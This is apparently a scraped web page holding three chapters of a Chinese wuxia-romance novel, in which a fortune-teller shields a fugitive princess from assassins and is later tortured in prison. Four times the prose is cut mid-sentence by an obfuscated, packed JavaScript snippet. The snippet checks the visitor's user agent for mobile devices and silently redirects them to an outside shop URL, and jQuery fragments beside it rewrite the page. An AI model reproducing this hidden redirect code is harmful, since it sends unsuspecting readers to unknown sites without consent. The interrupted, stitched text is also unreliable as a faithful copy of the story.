李幼澄听着隔壁的动静,心下犹豫是否该过去看看。毕竟他背上那伤,多少与她有些关联。
脑子里正商量着这事,脚却很诚实地迈出了房门,等回过神来,人已经站在程南无那间屋子门口了。
门虚掩着,她轻轻推开一条缝。
目光越过屏风,触及后面的景象,她不由倒吸一口凉气,瞬间僵在原地。
程南无背衣衫半解,褪至腰间,露出大片白玉般的肌肤。肩宽腰窄,腰背线条流畅紧实,腹肌分明有力,再往下……被一床被子适时遮住。
苏道元正手忙脚乱地拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058088|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着纱布,试图往他背上缠绕,那笨拙的手法看得人心急。
程南无显然嫌弃他手法生疏,指挥道:“善常兄,你就负责最后打个结就行,别的我自己来!让你包扎,伤没好,人先让你勒死了。”
李幼澄绝非因美色当前而移不开眼,她只是因为蹲在门边偷看的姿势不得当,腿......暂时性麻了。
苏道元见伤口包扎完毕,如蒙大赦般擦了擦汗,一转身,正好看见门口僵着的李幼澄。
他愣了一下,随即露出一个了然又有些尴尬的笑容,朝她点了点头,侧身溜了出去,还贴心地没有完全关上门。
程南无几乎在苏道元离开的瞬间,就抓过一旁干净的衣袍,迅速将自己裹得严严实实。
他推开屏风,一手撑框,似笑非笑地俯视着她,语调拖长:“没想到啊没想到,你除了喜欢偷听,还喜欢偷看。”
“呵,那可不是我。”既被当场抓包,李幼澄干脆一不做二不休,一屁股坐下,揉着发麻的腿。
“哦?那你在这里干什么?”
“我来问问何时开饭。结果腿不小心抽筋了,走不动道。”李幼澄急中生智,梗着脖子道。
程南无捏着下巴,眯起一双狐狸眼打量她。
眼前的女子,洗干净后,竟有几分惊心动魄的丽色。
“不过,你收拾干净后,倒是很……”
见他似乎在搜刮夸赞的词,李幼澄心中莫名升起一丝期待,将散发拢至耳后,莞尔低头,恰似春风桃李,惹人怜爱。
程南无艰难地思索半晌,憋出四个字:“人模狗样!”
“程南无!”李幼澄对这个形容很不满意,也顾不得腿麻了,从地上弹起来,咬牙切齿地就要扑过去跟他拼命!
程南无早已预料到她的反应,大笑着,转身就溜出了房门,朗声吟道:“香靥凝羞一笑开,柳腰如醉暖相挨。”
李幼澄一瘸一拐地追到楼下,却见他已安然落座楼下大堂的桌旁,正夹起一筷子菜送入口中,还朝她得意地晃了晃筷子。
这人……竟吃独食!
她一屁股坐在他对面的空位上,拿起筷子就加入了战斗,化愤怒为食量。
正埋头苦干,头顶忽地一重,一顶轻纱幂篱被程南无扣在了她头上,垂下的薄纱遮住了她的面容。
李幼澄心中一惊,瞬间警醒,这才想起自己还是那个被重金悬赏的逃犯,方才竟大意地以真面目冲下楼,实在危险。
她心中刚升起一丝微末的感激,就听程南无满脸嫌弃地补充道:“刚好遮住你吃饭的丑相。”
“南无兄,你就莫要再欺负李姑娘了。”苏道元忍不住笑着打圆场。
李幼澄深吸一口气,告诉自己要忍!小不忍则乱大谋,在美食面前嘴巴暂时不能分心干别的事情。
酒足饭饱,李幼澄摸着圆滚的肚子,满足地瘫坐着品茶解腻。在她面前,已经叠起一摞空盘空碗,与程南无和苏道元那相对文明的战场形成了鲜明对比。
程南无眼中露出货真价实的赞叹,拱手道:“姑娘肚容百川,在下佩服。”
“在下……也佩服。”苏道元看着李幼澄那依旧平坦的小腹,再看看那堆碗碟,一脸世界观受到冲击的震惊。
李幼澄坦然道:“不用夸我,我受不了饿,今日已经很收敛了。”
8. 带走她者皆不可饶恕
深夜,六和行馆中的人早已熟睡。
客房内,李幼澄感觉到一阵甜腻的异香随后有些冷,连忙裹紧了床上的被子。
月黑风高,正是杀人夜。
数十道黑影出现在行馆的屋顶之上。他们身手矫捷,迅速散开,将李幼澄所在的那间客房屋顶围得水泄不通。
一道身影不慌不忙地从楼下架起一架木梯,慢悠悠攀了上来。
来人木簪斜绾,几缕发丝随风轻扬,道袍的衣角也随着主人狼狈爬梯的动作落下。
为首的黑衣人眼神一凝,沉声道:“阁下,我等奉命请楼中姑娘回去,还请行个方便,莫要多管闲事,以免惹祸上身。”
程南无终于在屋顶站定,仿佛没听到那隐含的威胁,掸了掸袖口:“巧了,我恰好有件要紧的东西落在她身上。”
他顿了顿,目光扫过周围:“故而,抢夺、伤害她者,皆,不可饶恕。”
“回去告诉你家将军,这姑娘,我罩的,若再敢动别的什么心思……”程南无脸上挂着不怀好意的笑,指尖虚点众人腿脚,“我就把你们的腿打断。”
黑衣首领眼中闪过一丝惊讶:“阁下怎知我家主人的身份?”
“很好猜,你们太讲原则了。真正的杀手,怎会容我爬完这木梯?我若是杀手,早在闲杂人等出现的那一刻,就送他去见三清道祖。”
“那就得罪了!”黑衣首领被他吊儿郎当的态度彻底激怒,厉声喝道:“上!”
众人得令,提刀从四面八方扑杀而来。
程南无却气定神闲,朝空无一人的身后扬声道:“你若再不出来,我们可真要被砍成肉泥了。”
说时迟,那时快,一道黑色铁甲身影自他身后飞出!
那人覆着银甲的手虚空一抓,竟将率先冲来的黑衣人凌空吸至掌中,他五指一合,一把捏碎了那人的喉骨,将其掷向人群。
黑衣首领提步抽剑,剑尖直指铁甲咽喉,铁甲歪头侧闪,手中刀前扎,仅用一刀就将首领击飞,打的当场吐血。
他一刀击飞一人,其余黑衣人也不甘示弱,纷纷支援过来。
一人全力跃起,挥动手中狼牙棒,力劈华山,狼牙棒却在击中铁甲后,碎了一地。
铁甲仿若未闻,挥刀横扫,黑衣首领凌空跳闪,一招回身剑直取铁甲头部,铁甲立刀格挡,气劲瞬间弥漫开来。
那铁甲似乎失去了耐心,手中力道加重,强大的气场让首领不得不单膝跪地。
首领出了一身的冷汗,阿萨辛之人为何要保护这两人?事情变得复杂起来,此事必须速报李大将军。前提是……他们中能有人活着离开。
“阁下恕罪!饶我等一命!”首领强忍着恐惧,急声求饶。
“他可不会手下留情。”程南无轻飘飘一句,判了众人死刑。
刀光再起,那首领双腿应声而断,灵身影快得只剩残影。只听数声闷响,惨嚎划破夜空,屋顶顷刻血流成河,残躯遍布。
转眼间,唯剩最后一人,跪伏在瓦上,浑身剧颤,连剑都握不稳。
巨大的压迫力靠近,幸存的黑衣人手里的剑从手中跌落,他似乎被吓没了神,直立着上半身,两眼恐惧的仰视着黑夜中这个能够掌控他命运的人。
“一个军人,不该害怕的连剑都丢了。”灵漠然地抬脚,踩上那人的脸,一剑刺穿了心脏。
最后一声微弱的呜咽消失在夜风里。
程南无对眼前的血腥场面视若无睹,甚至还拍掌轻笑:“早就听闻,阿萨辛盘踞在瀛洲、西京、岭北三国交错的江城山脉,势力庞大。传闻这个杀手组织吸纳的,皆是各国犯下滔天罪行、凶残暴戾的亡命之徒……”
他目光落在灵那标志性的面具上,继续道:“今日一见,果然名不虚传。”
“看阁下的衣着打扮,敢问这位灵大人,服侍阿萨辛的哪位权主?”
灵答非所问:“你不怕死?”
“以灵大人的身手,杀我易如反掌,但你不会。我早知自那夜驿站街角一别,你便一直尾随左右。今夜这些假杀手一出手,大人果真现身。”程南无抬手抱拳向他一礼,“恕程某厚着脸皮,借了大人的威势,狐假虎威了一番。”
他收敛了几分玩笑之色,正色道:“灵大人暗中跟随,又出手解围,找我,究竟有何目的?”
“鸠兹城中有一神算子,”灵的声音依旧冰冷,“我家权主,欲跟你做个交易。”
“哦?”程南无挑眉,“我能说不吗?”
“那你就去见阎王吧。”
程南无看见灵手里握着的刀还在滴血,他语气变得无比配合:“打打杀杀的多伤和气,你们权主要我去做什么,直说便是了,我又怎么会拒绝呢?”
清晨的第一缕阳光照进屋子里,李幼澄这一夜睡得极沉,无梦到天亮。
她只觉得多日来的疲惫一扫而空,精神焕发。李幼澄兴冲冲跑到程南无房前,用力拍门:“程南无,我有事找你!”
才敲到第二下,房门突然被人从里面拉开。李幼澄拍门的力道落空,整个人不由自主地向前跌去。
一只骨节分明的手及时伸出,稳稳扶住了她的肩膀。
李幼澄心头一松,正要道谢,却抬头看见程南无忽然勾起唇角,那双狐狸眼里闪过一抹狡黠的光。他故作慵懒地打了个哈欠,扶着她的手毫无预兆地一收。
李幼澄本就还没来得及站稳,她跌坐在地,又疼又懵地抬头瞪他。
程南无披着外袍,凌乱的发丝垂落额前,眼下泛着淡淡青黑,嗓音带着初醒的低哑:
“叫魂吗?男子的闺房不能随便进不知道吗?”
李幼澄起身,抬手遮住双眼,连带着挡住他那张惹人心乱的脸:“小气鬼,我不看便是了,你快些收拾,我醒来时才发现苏善常已经走了很久,再迟就要追不上了。”
听她吐语如珠,清脆中带着柔和,程南无不由多看了她几眼。
只见她指缝间露出晕红的脸颊,肌肤胜雪,容色绝丽,不可逼视。这样花一般的年纪,浑身上下散发着自然蓬勃的朝气。
“在外头等着,我马上就来。”程南无语气放缓了些,转身回房。
二人一同下楼,李幼澄戴着面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058089|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纱,只露出一双灵动的杏眼,好奇打量他:“你昨日是不是干什么坏事去了,一副没睡醒的样子,眼圈都是青的。”
“托某人的福,昨夜你房里的一群耗子闹腾了一晚上,吵死了,偏生有人睡得雷打不动。”
“我房里有老鼠?”李幼澄蹙起眉头,仔细回想,“我昨日不知怎的睡得特别沉,什么动静都没听见。吵到你了,实在对不住。”
“对不住倒不必,你若当真过意不去,不如先把我的铜钱还给我,我俩就此别过。”
“那不行,”李幼澄想也没想立刻反对,“我心底有个声音告诉我,跟着你混,不愁吃喝。再说,我们现在是朋友,朋友就该互帮互助。”
程南无忽然停下脚步。
李幼澄走出几步,发觉他没跟上,疑惑地回头。只听他后知后觉地重复着:“朋友?”
“嗯,对啊!”李幼澄跑到他面前,仰着头,诚恳无比,“你救过我,我也救过你。我们还一起蹲过大牢,一起逃过命,我们现在算是过命的交情,自然是朋友了。”
说着,她郑重其事地伸出手:“握手言和。”
程南无毫不留情的拍开她的手:“是不是朋友还不好说......”
他抬手指向不远处告示栏上那张画有她画像的通缉令,又点了点自己空瘪的荷包:“是朋友就应该先解决一下你朋友我这干瘪的钱袋。”
李幼澄顺着他指的方向一看,吓的花容失色,这才想起来这程南无嗜财如命,转身拔腿就跑,却被程南无一把拎住后领。
“放开我!你个见钱眼开的混蛋!”
就在两人拉扯之际,四周突然涌出十余名持刀劲装之人,朝他们而来。
程南无无奈地摇头:“自从遇见你,我这日子过得那叫一个精彩,不是在被追杀,就是在蹲大牢。”
李幼澄被他拽着往前跑,闻言回头气道:“这也能怪我?”
“怪我。”程南无接过她的话,手上力道却丝毫未松,“怪我当初不该贪那五十两银子,接那代娶的活儿。遇见你之前,好歹活得逍遥自在。”
他改抓她的衣袖,带着她在错综复杂狭窄的巷道里灵活穿梭。身后的追杀声越来越近,脚步声杂乱,听起来人数比刚才更多了。
“跑什么跑!”李幼澄跑得上气不接下气,“你不是很厉害吗?这些小喽啰你解决不了?”
转过街角,眼前竟是一条死胡同,高墙阻断了所有去路。
程南无低骂一声,忽然停下脚步,李幼澄猝不及防撞上他的后背。
“谁告诉你我很能打了?”他一脸坦然,“我不会武功。”
李幼澄弯着腰,双手撑膝,大口喘着气:“这群人似乎在客栈就盯上我们了,程南无,我俩今天要交代在这儿了……”
生死关头,她索性把心一横,大义凛然:“他们似乎都是冲我来的,你快逃吧!别管我了,能跑一个是一个。”
程南无闻言,松开了抓着她的手,感激涕零道:“姑娘真是深明大义,在下正有此意,带着你跑的太慢了,既如此,那我先行一步,有缘再见。”
9. 回忆中的女煞星
李幼澄见程南无脚步不停,真要弃她而去,顾不得什么礼义廉耻,扑进程南无的怀里,死死抱着他的腰,整个人几乎挂在他身上,仰头盯着他。
“诶?你好歹也推托一番,这么直截了当的见死不救?”她语气又急又横,“既然你这么不讲义气,那就死也拉你垫背!我们同归于尽,谁也别想跑。”
程南无被她撞得微微一晃,举起两只手,表示妥协:“你这姑娘,真是蛮不讲理。”
他带着身上这个挂件,一步步挪到一扇布满油污的木门前,脚跟顺势一勾,掀翻了门口堆着的几个泔水桶。
酸馊的腐臭混着巷里的霉味,瞬间填满了整条巷道,呛得人鼻腔发疼。
李幼澄腾出一只手,下意识捂住鼻子,问:“你翻这些泔水桶做什么?还要我们臭着死?”
“酒馆的狗洞一般会开在生气方,嵌五帝钱,图的是五行俱全、犬纳财气的彩头。”程南无边说边在杂物堆里翻找。
不一会,李幼澄便已看到了一个黑漆漆的狗洞。
他拍了拍手上的灰:“我虽不会武功,但对鸠兹街道巷落布局却熟得很。”
李幼澄盯着这个极小的洞口:“这么小?我们要钻进去,那得脱层皮吧?”
程南无没答话,从怀里摸出块油纸包着的肉干,撕了一小块丢在洞口。
不过片刻,洞内便传来细碎的爪扒声,紧接着是急促的狗吠。一颗黄毛狗头探了出来,鼻尖嗅了嗅,叼起肉干便飞快缩了回去。
巷口脚步声此时已逼近。
程南无眼神一沉,猛地将李幼澄往狗洞旁的角落一推,自己也侧身挤了进来,狭小的空间顿时被两人塞满。
他竖起一根手指抵在唇边,眼神示意她噤声。
李幼澄闭了嘴,连呼吸都放轻了。
几乎同时,头顶传来一声巨响,酒楼二楼一扇窗户被推开,数盆清水哗啦泼下,正好浇在追兵刚踏进的巷口,一群人顿时成了落汤鸡,狼狈不堪。
“怎么回事?哪个不长眼的!”追兵里有人怒喝。
楼上的小厮见泼到人了,连忙探出头,脸上堆着慌张的笑,连连作揖道歉:“对不住对不住!刚才有客人说问到臭味,小的才发现这泔水桶被打翻了,只能赶紧清洗廊檐,没料到下面有人……”
两个追兵不甘心,捏着鼻子往里走了几步,可越是靠近泔水桶翻倒处,那股腐臭味便愈浓烈熏人。他们草草扫视巷角,见无异样,骂骂咧咧退了回去。
“晦气!这俩小兔崽子肯定跑远了,追下去也麻烦,先回去复命!”领头的人抹了把脸上的水,咬牙说道。
巷内重归寂静。
李幼澄稍松了一口气,一抬眼,正对上程南无棱角分明的下颌。他仍专注望着巷口的方向。
不知怎的,李幼澄的心跳莫名快了几分,鼻尖全是成熟男人的气息,鬼使神差地扯住程南无的衣服。
她头一扬,唇瓣微微嘟起。
偏偏这时,程南无原本紧盯着巷口的眼神碰巧收了回来,低头看向怀里的人。
四目相对,空气瞬间凝固。
李幼澄被抓了个正着,嘴还撅着,扯出一个尴尬的笑:“我看你下巴好像有白胡子。”
程南无问:“那你撅嘴干什么?”
隔着面纱他也看得到?!李幼澄移开视线抬头看天:“今日的天气真好啊。”
今日多云没有太阳。
程南无的视线太过逼人,李幼澄根本招架不住,她只得低下头去,开始研究地上有多少颗石子。
就在这窘迫的沉默中,那扇木门被拉开一条缝隙,一股混杂着油烟和饭菜的热气扑面而出,驱散了些许腐臭。
“哟,你小子偷情偷到这儿来了?”门后传来带笑的调侃。
程南无带着李幼澄起身,随他走了进去。
“这姑娘羞成这样?你倒摆张苦大仇深的脸。”引路的伙计正是方才泼水那位,他领着他们穿过堆满杂物的窄道,接着打趣着。
“哦,刚才差点被狗咬了。”程南无面不改色。
李幼澄闻言,抬起手,在他腰侧轻轻拧了一把。
穿过窄道,眼前豁然开朗,这是酒馆后厨的一角,其他伙计正忙得热火朝天,完全没理他们这两个闯入的不速之客。
程南无朝灶台边掌勺的膀大腰圆的汉子低声道:“三哥,谢了。”
那汉子抬头见是他,也不多问,挥了挥炒勺:“这次还带姑娘来偷吃?”
他不等程南无贫嘴,飞快地朝门口努了努嘴:“快走快走,别碍事。再晚一刻,要是有人来查,问起些什么,我可就什么都招了。”
程南无笑了笑,也不废话,就这么带着身上的李幼澄,从酒楼的后厨,穿过喧闹的大堂,径直走入街市。
他低头看向仍紧抱着自己的少女:“安全了,可以松手了。”
李幼澄非但不放,反而抱得更紧。
“李姑娘,你有没有想过一种可能......”
“没有!”李幼澄想都没想就打断他。
“那就是,”程南无戳了戳她的发髻,“你抱得太紧,我喘不过气,可能要比你先一步去世。”
李幼澄这才反应过来,慌忙抬头,松开手,辩解道:“我不是故意的。”
她话音刚落,四周突然涌出大批士兵,向他们层层围拢。队伍整齐分开,露出铁盾后的白将军与李爝。
“属下说过,人既是在此处丢的,不必打草惊蛇,只需守株待兔,定能有所收获。”说话之人正是方才那队追兵的领头人,此刻正躬身站在李爝身侧,语气带着几分邀功的意味。
李爝目光扫过两人,当他看清那熟悉的眉眼轮廓时,他原本冷硬的面庞上,不受控制地透着一丝阴戾与杀意。
李世稀?!
她竟还敢出现在他面前!
那些被他深埋的往事不受控制地翻涌而上。
父亲李从珂常年在外征战,母亲自他出生不久,便应诏入宫,抚养年幼的瀛宣帝。
他的整个童年,几乎都是在长姐李世稀的陪伴与庇护下长大的。
都说长姐如母,他也曾极度依赖过这份温情。可当他听说她害死父亲,目睹她手刃母亲的那一刻,所有的温情都化作了绝望。
此后只剩对她叛逃瀛洲的不解和随着年月疯长的怨恨。
这个名字,这个人,早已成为一根深深嵌入他胸口的刺,拔与不拔都疼。
既然李家出了这样一个弑亲叛国的罪人,那么,门楣荣辱,家族兴衰,便由他李爝一肩承担。
故而娶谁为妻,于他而言,从来都不重要。
瀛宣帝曾言,长乐公主乃西京皇心头肉,此婚若成,瀛洲一统大业更进一步。
公主刁蛮也好,不喜也罢,只需好生供养。国事为重,家事次之,私情最末。
可此刻,当他看到眼前这位长乐公主眉眼极似李世稀时,李爝才惊觉,万事皆可抛,唯杀此人,刻不容缓!
他踏步上前,杀气四溢,伸手便欲擒向李幼澄,势要揭开那碍事的面纱,看个究竟。
与此同时,一直沉默跟在白将军身后的秋实,飞身而至,一把扣住了李爝探出的手腕:“将军请自重!公主殿下金枝玉叶,岂容当众无礼?”
李爝手臂一震,一股蛮力震开秋实的钳制,死死盯着李幼澄那双充满疑惑的眸子上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058090|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
白将军适时上前,朝李幼澄躬身行礼:“殿下在外游玩多日,臣等忧心如焚。如今风波暂息,还请殿下随臣回去吧,使团上下,皆在等候殿下凤驾。”
“我不回。”李幼澄躲到程南无背后,她扯了扯他的袖子,程南无竟也顺从地微微曲腿,俯身凑近,方便听她说话。
李幼澄踮脚,凑到他耳边小声道:“快带我走。”
程南无同样压低声音,爱莫能助道:“舌战群儒,吟诗作赋,我一骑绝尘,打架斗殴,我可不擅长。”
李幼澄更紧地拽着他的衣袖,程南无索性又俯低了些身子,让她不必再费力踮脚。
她用手掩住嘴,生怕二人密谋的内容被其他人听到:“那我们该如何是好?总不能真被他们抓回去吧?”
程南无耐心听她说完,右臂支着左手,指尖轻叩面颊,作沉思状,轻飘飘吐出二字:“认命?”
“认什么命?”李幼澄眉眼一皱,腮帮子鼓了起来,气得想咬他,“你能不能认真点!”
李爝冷眼旁观这一切。这眉眼太像了,可她的举止神态又分明是两个人。
他记忆中的李世稀,向来果决狠厉,独断专行,从不会像这般依赖他人,更不会露出如此鲜活的小女儿情态。
“殿下,”白将军言辞恳切,“臣奉命护驾来瀛洲,责任重大。您是君,臣自然不能为难,但您身边这位,就不好说了。若他执意挟持殿下,那就只能被乱箭射死。”
他顿了顿,继续道:“李大将军体恤殿下初来乍到,心有郁结,这才劝臣稍作通融,容您在外散心数日,并派人暗中保护,臣才未急于迎回。如今殿下既已经历刺杀险情,当知瀛洲有多少双眼睛正在打殿下的主意。您身负两国盟约,关乎万千黎民福祉,还请以大局为重,莫负圣恩。”
李幼澄怔住,随即恍然大悟:“我说为何我待的地方从未有官兵大肆搜捕盘查,原来你们……早就知道我的行踪?!今日这阵仗,根本不是偶遇,是特意来抓我回去的。”
李爝接过话,不带一丝情感:“不是抓,是请。请长乐公主安然回队,西京使团已在鸠兹停留多日,若再延误行程,恐误了抵达申都的婚期。”
“何必大费周章?在客栈时,大将军直接拿人不更省事。”
“繁华市集人多,恐动手时伤及无辜百姓,惊扰了殿下,只得将二位请来这宽敞处。”
李幼澄气得手肘往后一捅,正顶在程南无腰侧,怪道:“你怎么专往人少的地方跑?这不正好入了圈套,这下真的全完了!”
程南无闷哼一声,揉了揉被顶到的地方:“轻点呀,我这个人很脆弱的。”
李爝不再给他们拌嘴的机会,沉声道:“带走!”
士兵们立刻一拥而上。
李幼澄急忙张开双臂,挡在程南无身前,朝秋实和白将军的方向急喊:“秋实,别动他!他是无辜的!”
白将军见状,生怕士兵粗手粗脚伤了她,高声喝止:“都给我轻点!先将殿下拉开,休要伤了殿下!”
程南无倒不反抗,任由士兵反扭双臂押住,只是嘴里却不住的呼痛:“轻些轻些!我又不会跑,你们这么用力做什么……哎呦!疼疼疼,嘶,胳膊要断了!”
李幼澄死死抓着他的衣袖,奈何寡不敌众,很快便被几名士兵强行架起,与程南无隔离开来。
“程南无!”她挣扎着,眼眶发红,泪珠在眼眶里打转,却硬撑着没掉下来,声音带着哭腔,“你等着!我一定会想办法救你!”
“好,我等你~”程南无朝着李幼澄的方向大声应着,待她被架远些,才低下头,如释重负的小声嘀咕了句,“终于能清静些了。”
10. 三入牢狱
“大人!不好了!”
一名衙役连滚带爬的闯进县令府的后堂,声音抖得不成样子:“牢里那位……急召大人前去!”
县令心头一沉,连鞋袜都没穿整齐,提着官袍就往县衙大牢的方向冲去。
这半个月,他这小县简直走了泼天鸿运。先是来了两位将军,亲自押来一个特殊犯人,一个杀气腾腾要求斩立决,一个态度坚决要保其性命,在他这小小的县衙里吵得不可开交,差点掀了屋顶。
这还没消停几天,前几日竟又冒出一位身份更加神秘的贵人,直接进驻了大牢,指名要提审那特殊的囚犯。
真真是祸不单行,他这顶小小的乌纱帽,怕是快要戴到头了!
县令几乎是跑着往内牢深处去,年轻牢头紧跟在他身后半步。
“这是第几天了?”县令头也不回地问。
“满三天了!”牢头喘着粗气,“那位大人只一味在喝茶,什么要求都没提,也不问话,就盯着施刑……”
县令转身盯着他,却没停下脚步:“是朝廷派下来的巡察使?”
牢头缩了缩脖子,斟酌着回话:“只亮了块玄铁令牌,说是戍卫办事,其他的……一个字都没多透露。”
“戍卫……”县令面色一沉。
官场上谁不知道,戍卫表面是申都皇宫的护卫,实则是瀛宣帝的暗刃,专司暗杀、密查、清除异己这类血腥勾当。他们怎会跑到这鸟不拉屎的小地方来?
说话间,两人已来到大牢最深处。
尽头是一面厚重的紫檀木雕花屏风,立在甬道正中,将内外彻底隔绝开来。
县令在屏风侧前方停下,收敛了所有声息,他整了整衣襟,躬身深深一礼。
屏风之后,隐约可见一个肥胖臃肿的身影,坐在太师椅上,并未因他们的到来而有丝毫扰动。
那人面前是一张棋盘,黑白双子错落,指尖正拈着一枚白玉棋子,悬在棋盘上方,迟迟未落。手边的矮几上,一只白瓷茶杯热气袅袅,清雅的茶香在此血腥味十足之地显得格外突兀。
他身后,数十名甲士按刀而立,一个白发老奴恭敬的垂手在一旁,低眉顺眼却藏不住眼中的阴鸷。
县令顺着那肥胖身影的目光方向,越过屏风,望向牢房中的刑架。
只见刑架之上,一个身影被铁链高高吊起。一鞭接一鞭,抽的皮开肉绽,那人几度痛的昏死过去。
然而,还未等他喘息片刻,旁边另一名狱卒便提起一桶猩红刺鼻的辣椒水,毫不留情地泼下。
“大人再隔岸观火……在下怕是没命替大人效劳了。”程南无哑声开口。
屏风后传来一声茶盏轻叩的声响,那肥胖身影终于开口:“一位小姐,清晨发现母亲遗赠的玉簪不翼而飞,阖府上下翻了个底朝天,也未能寻见。若让你寻,该往何处找?”
血水顺着程南无的下颌滴落:“大人不如寻条狗来...狗鼻子最灵...”
“呵。”屏风后的人轻笑一声,也不恼,在棋盘上轻轻一点,“看来,这几天的鞭子还是轻了,没让你学会怎么回话。你去看看。”
那老奴低声回应,提着个乌木箱子上前,拿出针包打开,里面是密密麻麻、长短不一的银针。
他取出一枚三寸长的细针,走到程南无面前,找准指尖穴位,径直扎了进去。
一阵剧痛自指尖蔓延到心脏,钻心蚀骨,比之前的鞭打更难忍受百倍。程南无的身体不受控制地剧烈痉挛,他牙关紧咬,硬是没发出一声惨嚎。
半晌,他勉强扯出一个笑:“你这人太不好玩了,就不能给点机会让我嘴硬几句?一上来就动用大刑。”
程南无艰难的喘了口气,不再绕弯子,正经回答道:“若玉簪未出院落,可往北面近水处,寻一带孔的木桶。”
屏风后的肥胖身影终于起身,却未走出屏风:“何解?”
“清晨失物,坎位属北,可引申带孔之物。”程南无虽然虚弱却条理清晰,“玉五行属土,土克水,然水多亦能反淹土;木能吸水,亦为坎水所生。这意味着小姐的玉簪被隐藏在属水的环境中,定在北方近水木桶附近。”
老奴施针的手顿在半空,眼中飞快地闪过一丝难以掩饰的惊讶。
事实正如程南无所言,小姐顽劣,玉簪不小心滚落到园林北角水缸的背面,那是一个不起眼的小破木桶,任谁也不会注意。
“可惜了。若早些请你这个算命道士,那家的老爷也省得把好好的园子翻个底朝天。”屏风后的声音依旧淡淡的,他又问,“一个少年郎因琐事与父争吵,负气坐马车离家,三日未归,音讯全无。先生认为该去何处寻他?”
程南无吃过一次亏,知道在这位面前耍花腔只会自讨苦吃,直接答道:“雷霆大怒是为震,震属木。《易经》有云,亿丧贝,勿逐,七日得。令郎无虞,去向东方林木繁盛处,不必强行追寻,七日之内,盘缠将尽,自当有消息。需要在下……为大人详细道来其中卦理吗?”
“不必了。”屏风后传来鼓掌声,带着一丝难得的赞许,“你竟全猜对了。既这么聪明,不如再猜猜,本官不辞辛劳,来此所为何事?”
程南无垂下眼,血污糊住了睫毛:“大人,天机不可泄露。过往之事不可变,算算无妨,未来之事不可知,强行窥算,在下可是会折寿的。”
屏风后的人似乎也没指望他真的能算出来:“月前,申都天象监夜观星象,发现帝星黯淡,妖星现于东南。”
此话一出,县令和牢头瞬间如坠冰窟。
程南无心头更是猛地一跳,这等机密之事岂能随意宣之于口?看来今日,这牢中知情之人,恐怕都难逃灭口之灾。
“我等奉命暗中查探,却在鸠兹获得了新线索,根据线索指引,行至宛陵时,”那声音顿了顿,带着几分玩味,“随行的三位堪舆师,竟接连突发癫狂,或胡言乱语,或自残身躯。那地方着实有趣,竟是阿萨辛七权主之一,白琥的埋骨之地。”
天下三国谁人不知阿萨辛?这个杀手组织有七位顶级高手,几年前,组织中的白琥权主突然暴毙,追随他的信徒一时间群龙无首。
程南无瞬间明白了对方前两个问题的意图和此番话的言下之意:“大人……是要在下带路。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058091|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那道肥胖的身影端起茶杯,凑到唇边,却发现茶已凉透,又轻轻放下,只吐出两个字:“凉了。”
这轻飘飘的两个字,却如同阎王的催命符。
他身后甲士齐齐抽刀,刀光闪过,守在甬道内的几名狱卒,甚至连惨叫都未能完全发出,便捂着喷血的脖颈,倒地不起,浓郁的血腥气再次压过了茶香。
县令吓得魂飞魄散,双腿一软,跌坐在地,他捂住自己的嘴,缩在墙角瑟瑟发抖,连大气都不敢喘,生怕引起注意。
“县令,本官向你讨这人,”屏风后的人呷了一口新倒的茶,“七日后,将他收拾妥当送来,若有差池……”
“下官明白!下官明白!绝对守口如瓶,绝不延误!”县令连连磕头。
七日之后,大牢深处潮湿的霉气扑面而来,墙壁上昏暗的灯火照不清。
新调来的狱卒举着火把,凑近那间特殊牢房的栅栏门,试图查看里面的情况。
一只血手猛然从门缝中伸出,吓得众人连连后退。
黑暗中,传来一阵带着逞般快意的低笑声,那人似乎很满意自己恶作剧造成的惊吓效果。
透过门缝往里看,程南无被铁链锁住脚踝和手腕,铁链另一端固定在墙上的铁环上,活动范围极其有限。
他仰头靠在牢门上,虽在笑,眉宇间却隐忍着极大的痛苦。
自从那位喝茶的大人离开后,这七天他倒是没再受鞭刑。
